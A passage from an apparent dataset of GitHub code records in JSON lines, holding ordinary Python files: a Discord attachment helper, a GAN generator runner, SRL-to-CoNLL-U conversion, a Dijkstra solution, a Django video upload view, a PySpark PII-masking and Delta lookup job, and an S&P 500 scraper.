"call"}, {"api_name": "llm.qa.embedding.DEFAULT_EMBEDDING_MODEL", "line_number": 64, "usage_type": "argument"}, {"api_name": "streamlit.session_state", "line_number": 64, "usage_type": "attribute"}, {"api_name": "examples.streamlit_ui.components.get_engine", "line_number": 68, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 70, "usage_type": "attribute"}, {"api_name": "streamlit.container", "line_number": 72, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit.form", "line_number": 79, "usage_type": "call"}, {"api_name": "streamlit.text_area", "line_number": 81, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 82, "usage_type": "call"}, {"api_name": "streamlit.form_submit_button", "line_number": 83, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 87, "usage_type": "attribute"}, {"api_name": "streamlit.header", "line_number": 88, "usage_type": "call"}, {"api_name": "streamlit.form", "line_number": 89, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 90, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 95, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 100, "usage_type": "call"}, {"api_name": "examples.streamlit_ui.components.generation_settings", "line_number": 101, "usage_type": "call"}, {"api_name": "streamlit.form_submit_button", "line_number": 102, "usage_type": "call"}, {"api_name": "examples.streamlit_ui.components.chat_bubble", "line_number": 110, "usage_type": "call"}, {"api_name": "examples.streamlit_ui.components.chat_bubble", "line_number": 112, "usage_type": "call"}, {"api_name": "streamlit.spinner", "line_number": 116, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 126, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 130, "usage_type": "name"}, {"api_name": "streamlit.sidebar", "line_number": 131, "usage_type": "attribute"}, {"api_name": "streamlit.header", "line_number": 132, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 133, "usage_type": "attribute"}, {"api_name": "streamlit.caption", "line_number": 134, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 134, "usage_type": "attribute"}, {"api_name": "streamlit.form", "line_number": 135, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 137, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 141, "usage_type": "call"}, {"api_name": "streamlit.json", "line_number": 142, "usage_type": "call"}, {"api_name": "llm.qa.parser.DataFields.EMBEDDING", "line_number": 143, "usage_type": "attribute"}, {"api_name": "llm.qa.parser.DataFields", "line_number": 143, "usage_type": "name"}, {"api_name": "streamlit.divider", "line_number": 146, "usage_type": "call"}, {"api_name": "streamlit.form_submit_button", "line_number": 148, "usage_type": "call"}, {"api_name": "examples.streamlit_ui.components.chat_bubble", "line_number": 157, "usage_type": "call"}]} +{"seq_id": "40291406613", "text": "import asyncio\nimport discord\nimport requests\n\nfrom environment import *\n\n\n\n\nasync def send_attachment_link(ctx, filename, msg=None):\n #\n # Sends a link to an attachment stored on the web server (charlotte3-bdo-web)\n #\n isLink = False\n url = '{0}/{1}'.format(resource_url, filename)\n try:\n # The HTTP request to check the web resource activity or to wake up the app\n response = requests.get('{0}/ping.txt'.format(resource_url), timeout=1)\n if response.status_code == 200:\n isLink = True\n except:\n print('Server timeout')\n \n if isLink:\n # Sends the image link to the text channel\n if msg:\n await ctx.send(msg)\n await ctx.send(url)\n else:\n # Sends the local image as an attachment instead\n print('Sending a local attachment')\n path = '{0}/static/{1}'.format(app_path, filename)\n file = discord.File(path)\n try:\n if msg:\n await ctx.send(file=file, content=msg)\n else:\n await ctx.send(file=file)\n except:\n print('Error: Failed sending a local attachment')", "repo_name": "achilles288/charlotte", "sub_path": "charlotte/attachment.py", "file_name": "attachment.py", "file_ext": "py", "file_size_in_byte": 1039, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "discord.File", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "43753740585", "text": "#!/usr/bin/env python\n\nimport numpy as np\nfrom keras.models import load_model\n\nn_samples = 50\n\nmodel = load_model('generator.h5')\ninput_shape = list(model.input_shape[1:])\ninput_data = np.random.random([n_samples] + input_shape)\ninput_data[0][0] = 1\nfor i in range(99):\n input_data[0][i + 1] = 0\nfor i in range(100):\n input_data[1][i] = 0\nfor i in range(100):\n input_data[2][i] = 1\noutput_data = model.predict(input_data)\n\nimport scipy.misc\n\nfor el in output_data:\n print(el.shape)\n scipy.misc.imshow(el.squeeze())\n", "repo_name": "MartinThoma/algorithms", "sub_path": "ML/gan/run_generator.py", "file_name": "run_generator.py", "file_ext": "py", "file_size_in_byte": 530, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 231, "dataset": "github-code", "pt": "16", "api": [{"api_name": "keras.models.load_model", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "scipy.misc.misc.imshow", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.misc.misc", "line_number": 24, "usage_type": "attribute"}, {"api_name": "scipy.misc", "line_number": 24, "usage_type": "name"}]} +{"seq_id": "9232618004", "text": "import json\nimport os\nimport pdb\nimport codecs\ndef read_jsonlines(file_path):\n data = []\n with open(file_path) as f:\n for line in f:\n data.append(json.loads(line))\n return data\n\n\ndef json2conllu(file_path):\n sents = read_jsonlines(file_path)\n dir_path = os.path.dirname(file_path)\n write_path = file_path + '.conllu'\n if 'train' in file_path:\n id = 100000\n elif 'dev' in file_path:\n id = 200000\n elif 'wsj' in file_path:\n id = 300000\n elif 'brown' in file_path:\n id = 400000\n else:\n id = 300000\n\n with open(write_path, 'w') as fw:\n for sent in sents:\n id += 1\n fw.write('#'+str(id)+'\\n')\n words = [[token] for token in sent['sentences'][0]]\n words_constiuents = [[] for _ in sent['sentences'][0]]\n # pdb.set_trace()\n srl = sent['srl'][0]\n for i in srl:\n predicate, start, end, label = i\n if label == 'V' or label == 'C-V':\n # continue\n words[start].append(str(predicate+1)+':('+str(start+1)+','+str(end+1)+')-'+label)\n else:\n words[start].append(str(predicate+1)+':('+str(start+1)+','+str(end+1)+')-'+label)\n # pdb.set_trace()\n\n\n constiuents = sent['constituents'][0]\n for constituent in constiuents:\n cs, ce, label = constituent\n words_constiuents[ce].append(str(cs+1)+':'+label)\n\n\n\n for w_idx in range(len(words)):\n sent_str = ['_'] * 10\n sent_str[0] = str(w_idx+1)\n sent_str[1] = words[w_idx][0]\n # pdb.set_trace()\n if len(words_constiuents[w_idx])>1:\n consts = []\n for const in words_constiuents[w_idx]:\n consts.append(const)\n sent_str[7]='|'.join(consts)\n if len(words[w_idx])>1:\n pred_tmp = []\n for pred in range(1,len(words[w_idx])):\n pred_tmp.append(words[w_idx][pred])\n sent_str[8]='|'.join(pred_tmp)\n fw.write('\\t'.join(sent_str)+'\\n')\n fw.write('\\n')\n\n return\n\ndef document_json2conllu(file_path):\n documents = read_jsonlines(file_path)\n dir_path = os.path.dirname(file_path)\n write_path = file_path + '.conllu'\n if 'train' in file_path:\n id = 1000000\n elif 'dev' in file_path:\n id = 2000000\n elif 'wsj' in file_path:\n id = 3000000\n elif 'brown' in file_path:\n id = 4000000\n else:\n id = 3000000\n\n with open(write_path, 'w') as fw:\n for document in documents:\n pre_token_num = 0\n sents = document['sentences']\n srls = document['srl']\n for sent_id, sent in enumerate(sents):\n id += 1\n fw.write('#' + str(id) + '\\n')\n srl = srls[sent_id]\n token_num = len(sent)\n # pdb.set_trace()\n words = [[token] for token in sent]\n for i in srl:\n predicate, start, end, label = i\n if label == 'V' or label == 'C-V':\n continue\n # words[start - pre_token_num].append(\n # str(0) + ':(' + str(start - pre_token_num + 1) + ',' + str(\n # end - pre_token_num + 1) + ')-' + label)\n # words[start - pre_token_num].append(\n # str(predicate - pre_token_num + 1) + ':(' + str(start - pre_token_num + 1) + ',' + str(\n # end - pre_token_num + 1) + ')-' + label)\n else:\n words[start-pre_token_num].append(\n str(predicate-pre_token_num + 1) + ':(' + str(start-pre_token_num + 1) + ',' + str(end-pre_token_num + 1) + ')-' + label)\n for w_idx in range(len(words)):\n sent_str = ['_'] * 10\n sent_str[0] = str(w_idx+1)\n sent_str[1] = words[w_idx][0]\n # pdb.set_trace()\n if len(words[w_idx])>1:\n pred_tmp = []\n for pred in range(1,len(words[w_idx])):\n pred_tmp.append(words[w_idx][pred])\n sent_str[8]='|'.join(pred_tmp)\n fw.write('\\t'.join(sent_str)+'\\n')\n fw.write('\\n')\n pre_token_num += token_num\n\n\ndef add_flag_lemma(f1, f2, file_name):\n # f2: file to change, f1: provided file\n current_sent = 0\n write_path = os.path.join(os.path.dirname(f2),file_name)\n with open(write_path, 'w') as fw:\n with codecs.open(f1, encoding='utf-8') as gf, \\\n codecs.open(f2, encoding='utf-8') as sf:\n gold_line = gf.readline()\n while gold_line:\n while gold_line.startswith('#'):\n current_sent += 1\n gold_line = gf.readline()\n if gold_line.rstrip() != '':\n sys_line = sf.readline()\n while sys_line.startswith('#') or sys_line.rstrip() == '' or sys_line.split('\\t')[0] == '0':\n if sys_line.startswith('#'):\n fw.write(sys_line)\n sys_line = sf.readline()\n\n gold_line = gold_line.rstrip().split('\\t')\n sys_line = sys_line.rstrip().split('\\t')\n # pdb.set_trace()\n if not gold_line[1] == sys_line[1]:\n if gold_line[1].startswith('/'):\n # pdb.set_trace()\n gold_line[1] = gold_line[1].lstrip('/')\n assert sys_line[1] == gold_line[1], 'Files are misaligned at sentence {}'.format(current_sent)\n assert sys_line[8] == gold_line[8], 'Files are misaligned at sentence {}'.format(current_sent)\n\n sys_line[4] = gold_line[4]\n sys_line[5] = gold_line[5]\n sys_line[9] = gold_line[9]\n fw.write('\\t'.join(sys_line)+'\\n')\n elif not gold_line.rstrip():\n fw.write('\\n')\n\n gold_line = gf.readline()\n\n return\n\n\nfile_path = 'data/conll05/test_brown.conll05.jsonlines'\njson2conllu(file_path)\n# add_flag_lemma('data/conllu12/conll12.dev.conll', 'data/conllu12/dev.english.conllu12.jsonlines.conllu','dev.en.srl.conllu')\n# document_json2conllu('data/conll12-gold/train.english.v5.jsonlines')\n# document_json2conllu('data/conll12-gold/test.english.conllu12.jsonlines')\n# document_json2conllu('data/conll12-gold/dev.english.v5.jsonlines')", "repo_name": "JZXXX/Span-srl", "sub_path": "scripts/json2conllu.py", "file_name": "json2conllu.py", "file_ext": "py", "file_size_in_byte": 6918, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.loads", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 131, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 133, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 134, "usage_type": "call"}]} +{"seq_id": "21860172118", "text": "import sys, heapq\r\nfrom collections import defaultdict\r\n\r\ninput = sys.stdin.readline\r\n\r\nv, e = map(int, input().split())\r\n\r\nk = int(input())\r\n\r\ngraph = defaultdict(list)\r\n\r\nfor _ in range(e):\r\n a, b, w = map(int, input().split())\r\n graph[a].append((b, w))\r\n\r\n# 최단 거리\r\ndist = {i:float('inf') for i in range(1, v+1)}\r\n\r\ndist[k] = 0\r\n\r\n# 우선순위 큐\r\nqueue = [(0, k)]\r\n\r\nwhile queue:\r\n w, node = heapq.heappop(queue)\r\n \r\n # 기존 기록된 거리보다 해당 노드까지 가는 거리가 더 크다면 탐색 X\r\n if dist[node] < w:\r\n continue\r\n \r\n # 이웃 노드 간 최단거리 갱신 (원래 기록된 거리와 해당 노드를 경유 시 거리 중 최소값)\r\n for neighbor_edge, neighbor_w in graph[node]:\r\n new_dist = w + neighbor_w\r\n if new_dist < dist[neighbor_edge]:\r\n dist[neighbor_edge] = new_dist\r\n heapq.heappush(queue, (new_dist, neighbor_edge))\r\n \r\nfor val in dist.values():\r\n if val == float('inf'):\r\n print('INF')\r\n \r\n else:\r\n print(val) ", "repo_name": "KimChanw/Python_Algorithm", "sub_path": "백준/Gold/1753. 최단경로/최단경로.py", "file_name": "최단경로.py", "file_ext": "py", "file_size_in_byte": 1085, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.stdin", "line_number": 4, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 10, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 25, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "31533245433", "text": "from rest_framework import status\nfrom rest_framework.parsers import MultiPartParser, FormParser\nfrom rest_framework.views import APIView\nfrom..api.serializers import VideoSerializer\nfrom rest_framework.response import Response\n\nclass VideoAdd(APIView):\n parser_classes = (MultiPartParser, FormParser,)\n serializer_class = VideoSerializer\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid():\n uploaded_file = serializer.validated_data[\"video\"]\n print(uploaded_file)\n serializer.save()\n return Response(\n serializer.data,\n status=status.HTTP_201_CREATED\n )\n \n return Response(\n serializer.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n ", "repo_name": "Josh2297/Retina_Prediction", "sub_path": "retina/retina/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 7, "usage_type": "name"}, {"api_name": "rest_framework.parsers.MultiPartParser", "line_number": 8, "usage_type": "name"}, {"api_name": "rest_framework.parsers.FormParser", "line_number": 8, "usage_type": "name"}, {"api_name": "api.serializers.VideoSerializer", "line_number": 9, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 17, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 19, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 22, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 24, "usage_type": "name"}]} +{"seq_id": "39479997699", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 31 08:12:52 2023\n\n@author: abhisek.de\n\"\"\"\n\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import col, lit, sha2, xxhash64, concat, current_date\nfrom pyspark.sql.types import StructType, StructField, StringType, TimestampType\nfrom pyspark.sql.utils import AnalysisException\n\nspark = SparkSession \\\n .builder \\\n .appName(\"DeltaLake\") \\\n .config(\"spark.sql.extensions\", \"io.delta.sql.DeltaSparkSessionExtension\") \\\n .config(\"spark.sql.catalog.spark_catalog\", \"org.apache.spark.sql.delta.catalog.DeltaCatalog\") \\\n .getOrCreate()\nspark.sparkContext.addPyFile(\"s3://abhisekde-landingbucket-batch08/delta-core_2.12-0.8.0.jar\")\n\nfrom delta import *\n\nclass App:\n def __init__(self, app_name, app_config_path):\n self.app_name = app_name\n self.app_config_path = app_config_path\n self.app_config = self.read_config()\n\n def read_config(self):\n return spark.read.option(\"multiLine\", True).json(self.app_config_path)\n\n def read_datasets(self):\n datasets = self.app_config.select(col(\"landing-raw.datasets\")).collect()[0][0]\n source_path = self.app_config.select(col(\"landing-raw.source.bucket\")).collect()[0][0]\n destination_path = self.app_config.select(col(\"landing-raw.destination.bucket\")).collect()[0][0]\n file_format = self.app_config.select(col(\"landing-raw.source.data_type\")).collect()[0][0]\n partition_by = self.app_config.select(col(\"raw-staging.partition\")).collect()[0][0]\n staging_path = self.app_config.select(col(\"lookup-dataset.bucket\")).collect()[0][0]\n\n dfs = {}\n for i, dataset_name in enumerate(datasets):\n try:\n df = spark.read.format(file_format).load(source_path + dataset_name )\n except AnalysisException as e:\n datasets = [name for name in datasets if name!=dataset_name]\n continue\n\n dfs[dataset_name] = df\n dfs_original = dfs.copy()\n\n return datasets, source_path, destination_path, file_format, partition_by, staging_path, dfs, dfs_original\n\n\n def write_data(self, dfs, datasets, destination_path, file_format, partition_by=None):\n if partition_by is not None:\n for i, (df_name, df) in enumerate(dfs.items()):\n df.write.format(file_format) \\\n .partitionBy(partition_by) \\\n .mode('overwrite').save(destination_path + datasets[i])\n else:\n for i, (df_name, df) in enumerate(dfs.items()):\n df.write.format(file_format) \\\n .mode('overwrite').save(destination_path + datasets[i])\n\n def casting(self, dfs):\n casting_col = self.app_config.select(col(\"raw-staging.transform\")).collect()[0][0].asDict()\n for col_name, col_type in casting_col.items():\n if col_type.startswith('Deci'):\n precision, scale = col_type.split(',')\n total_digit = 7 + int(scale)\n col_type = 'decimal({0},{1})'.format(total_digit, scale)\n elif col_type.startswith('Stri'):\n col_type = 'string'\n for i, (df_name, df) in enumerate(dfs.items()):\n if col_name in df.columns:\n df = df.withColumn(col_name, df[col_name].cast(col_type))\n dfs[df_name] = df\n return dfs\n\n def masking(self, dfs):\n masking_col = self.app_config.select(col(\"raw-staging.mask\")).collect()[0][0]\n for i, (df_name, df) in enumerate(dfs.items()):\n for col_name in masking_col:\n if col_name in df.columns:\n df = df.withColumn(col_name, sha2(df[col_name], 256))\n dfs[df_name] = df\n return dfs\n\n def derive_source_df(self, dfs, dfs_original, datasets):\n source_df = {}\n for dataset in datasets:\n if dataset == \"dataframe_actives.parquet\":\n tf = dfs[dataset]\n df = dfs_original[dataset]\n #pii_columns = self.app_config.select(col(\"lookup-dataset.pii-cols\")).collect()[0][0]\n tf = tf.selectExpr(\"advertising_id as masked_advertising_id\", \"user_id as masked_user_id\", \"date as start_date\", \"timestamp\")\n df = df.selectExpr(\"advertising_id\", \"user_id\", \"date\", \"timestamp\")\n source_df[dataset] = df.join(tf, on=\"timestamp\", how=\"inner\").drop(col(\"timestamp\")).drop(col(\"date\"))\n source_df[dataset] = source_df[dataset].withColumn(\"end_date\", lit(None).cast(\"date\")).withColumn(\"flag\", lit(\"Active\"))\n else:\n tf = dfs[dataset]\n df = dfs_original[dataset]\n #pii_columns = self.app_config.select(col(\"lookup-dataset.pii-cols\")).collect()[0][0]\n tf = tf.selectExpr(\"advertising_id as masked_advertising_id\", \"date as start_date\", \"record_timestamp\")\n df = df.selectExpr(\"advertising_id\", \"date\", \"record_timestamp\")\n source_df[dataset] = df.join(tf, on=\"record_timestamp\", how=\"inner\").drop(col(\"record_timestamp\")).drop(col(\"date\"))\n source_df[dataset] = source_df[dataset].withColumn(\"end_date\", lit(None).cast(\"date\")).withColumn(\"flag\", lit(\"Active\"))\n return source_df\n \n def lookup_dataset(self, source_df, datasets):\n lookup_location = \"s3://abhisekde-stagingbucket-batch08/lookup_dataset/\"\n for dataset in datasets:\n if dataset == 'dataframe_actives.parquet':\n try:\n delta_table = spark.read.format('delta').load(lookup_location+dataset)\n except:\n schema = StructType([\n StructField('advertising_id', StringType(), True),\n StructField('user_id', StringType(), True),\n StructField('masked_advertising_id', StringType(), True),\n StructField('masked_user_id', StringType(), True),\n StructField('start_date', TimestampType(), True),\n StructField('end_date', TimestampType(), True),\n StructField('flag', StringType(), True)\n ])\n delta_table = spark.createDataFrame(data=[], schema=schema)\n delta_table.write.format('delta').mode(\"overwrite\").option(\"overwriteSchema\", \"true\").save(lookup_location+dataset)\n delta_table = spark.read.format('delta').load(lookup_location+dataset)\n \n source = source_df[dataset]\n joinDF = source.join(delta_table,(source.advertising_id==delta_table.advertising_id) & \\\n (delta_table.flag==\"Active\"),\"leftouter\") \\\n .select(source[\"*\"], \\\n delta_table.advertising_id.alias(\"delta_advertising_id\"), \\\n delta_table.masked_advertising_id.alias(\"delta_masked_advertising_id\"), \\\n delta_table.user_id.alias(\"delta_user_id\"), \\\n delta_table.masked_user_id.alias(\"delta_masked_user_id\"))\n\n filter_table = joinDF.filter(xxhash64(joinDF.advertising_id,joinDF.user_id) \n != xxhash64(joinDF.delta_advertising_id,joinDF.delta_user_id)) \n merge_table = filter_table.withColumn(\"MERGE_KEY\",concat(filter_table.advertising_id,filter_table.user_id))\n dummy_table = filter_table.filter(\"delta_advertising_id is not null\").withColumn(\"MERGE_KEY\",lit(None))\n scd_table = merge_table.union(dummy_table)\n Delta_table = DeltaTable.forPath(spark, lookup_location+dataset)\n Delta_table.alias(\"delta\").merge(\n source = scd_table.alias(\"source\"),\n condition = \"concat(delta.advertising_id,delta.user_id) = source.MERGE_KEY and delta.flag='Active'\"\n ).whenMatchedUpdate(set =\n { \n \"flag\" : \"'Inactive'\",\n \"end_date\":\"current_date\"\n }\n ).whenNotMatchedInsert(values =\n {\n \"advertising_id\" : \"source.advertising_id\",\n \"user_id\" : \"source.user_id\",\n \"masked_advertising_id\" : \"source.masked_advertising_id\",\n \"masked_user_id\" : \"source.masked_user_id\",\n \"flag\" : \"'Active'\",\n \"start_date\" : \"current_date\",\n \"end_date\": \"'None'\"\n }\n ).execute()\n else:\n try:\n delta_table = spark.read.format('delta').load(lookup_location+dataset)\n except:\n schema = StructType([\n StructField('advertising_id', StringType(), True),\n StructField('masked_advertising_id', StringType(), True),\n StructField('start_date', TimestampType(), True),\n StructField('end_date', TimestampType(), True),\n StructField('flag', StringType(), True)\n ])\n delta_table = spark.createDataFrame(data=[], schema=schema)\n delta_table.write.format('delta').mode(\"overwrite\").option(\"overwriteSchema\", \"true\").save(lookup_location+dataset)\n delta_table = spark.read.format('delta').load(lookup_location+dataset)\n\n source = source_df[dataset]\n joinDF = source.join(delta_table,(source.advertising_id==delta_table.advertising_id) & \\\n (delta_table.flag==\"Active\"),\"leftouter\") \\\n .select(source[\"*\"], \\\n delta_table.advertising_id.alias(\"delta_advertising_id\"), \\\n delta_table.masked_advertising_id.alias(\"delta_masked_advertising_id\"))\n \n filter_table = joinDF.filter(xxhash64(joinDF.advertising_id) \n != xxhash64(joinDF.delta_advertising_id))\n merge_table = filter_table.withColumn(\"MERGE_KEY\",concat(filter_table.advertising_id))\n dummy_table = filter_table.filter(\"delta_advertising_id is not null\").withColumn(\"MERGE_KEY\",lit(None))\n scd_table = merge_table.union(dummy_table)\n Delta_table = DeltaTable.forPath(spark, lookup_location+dataset)\n Delta_table.alias(\"delta\").merge(\n source = scd_table.alias(\"source\"),\n condition = \"concat(delta.advertising_id) = source.MERGE_KEY and delta.flag='Active'\"\n ).whenMatchedUpdate(set =\n { \n \"flag\" : \"'Inactive'\",\n \"end_date\":\"current_date\"\n }\n ).whenNotMatchedInsert(values =\n {\n \"advertising_id\" : \"source.advertising_id\",\n \"masked_advertising_id\" : \"source.masked_advertising_id\",\n \"flag\" : \"'Active'\",\n \"start_date\" : \"current_date\",\n \"end_date\": \"'None'\"\n }\n ).execute()\n \n def run(self):\n datasets, source_path, destination_path, file_format, partition_by, staging_path, dfs, dfs_original = self.read_datasets()\n dfs = self.casting(dfs)\n dfs = self.masking(dfs)\n source_dfs = self.derive_source_df(dfs, dfs_original, datasets)\n self.lookup_dataset(source_dfs, datasets)\n self.write_data(dfs, datasets, staging_path, file_format, partition_by)\n spark.stop()\n\t\t\napp_name = \"AD_sparkjob\"\napp_config_path = \"s3://abhisekde-landingbucket-batch08/config /app_config.json\"\napp = App(app_name, app_config_path)\napp.run()", "repo_name": "abhisek28/star", "sub_path": "spark-livy.py", "file_name": "spark-livy.py", "file_ext": "py", "file_size_in_byte": 12465, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 13, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 13, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 33, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 35, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 36, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 37, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 38, "usage_type": "call"}, {"api_name": "pyspark.sql.utils.AnalysisException", "line_number": 44, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 66, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 81, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.sha2", "line_number": 85, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 98, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 99, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 106, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 107, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructType", "line_number": 117, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 118, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 118, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 119, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 119, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 120, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 120, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 121, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 121, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 122, "usage_type": "call"}, {"api_name": "pyspark.sql.types.TimestampType", "line_number": 122, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 123, "usage_type": "call"}, {"api_name": "pyspark.sql.types.TimestampType", "line_number": 123, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 124, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 124, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.xxhash64", "line_number": 139, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.xxhash64", "line_number": 140, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.concat", "line_number": 141, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 142, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructType", "line_number": 168, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 169, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 169, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 170, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 170, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 171, "usage_type": "call"}, {"api_name": "pyspark.sql.types.TimestampType", "line_number": 171, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 172, "usage_type": "call"}, {"api_name": "pyspark.sql.types.TimestampType", "line_number": 172, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 173, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 173, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.xxhash64", "line_number": 186, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.xxhash64", "line_number": 187, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.concat", "line_number": 188, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 189, "usage_type": "call"}]} +{"seq_id": "9660086003", "text": "import urllib.request as request\nfrom bs4 import BeautifulSoup\n\ndef getConstituents():\n # URL request, URL opener, read content\n req = request.Request('http://en.wikipedia.org/wiki/List_of_S%26P_500_companies')\n opener = request.urlopen(req)\n content = opener.read().decode() # Convert bytes to UTF-8\n\n # take the UTF-8 content and turn it into a soup\n soup = BeautifulSoup(content, features=\"html5lib\")\n # take the soup and gather the tables\n tables = soup.find_all('table') \n # the HTML table we actually need is tables[0]\n external_class = tables[0].findAll('a', {'class':'external text'})\n tickers = []\n for ext in external_class:\n if not 'reports' in ext:\n tickers.append(ext.string)\n return tickers\n\ndef segments(lst, num):\n \"\"\"Yields lst in segments of size num\"\"\"\n for i in range(0, len(lst), num):\n yield lst[i:i + num]", "repo_name": "JaguarSec/AlgoTrading", "sub_path": "helpers.py", "file_name": "helpers.py", "file_ext": "py", "file_size_in_byte": 898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "urllib.request.Request", "line_number": 6, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 6, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 7, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 7, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "29723365012", "text": "import pre_processamento as f\nimport cv2\nimport random\n\n\"\"\"\nPara funcionar o Pytesseract siga o que é dito nesse link\nhttps://stackoverflow.com/questions/50951955/pytesseract-tesseractnotfound-error-tesseract-is-not-installed-or-its-not-i\n\"\"\"\n\ng = 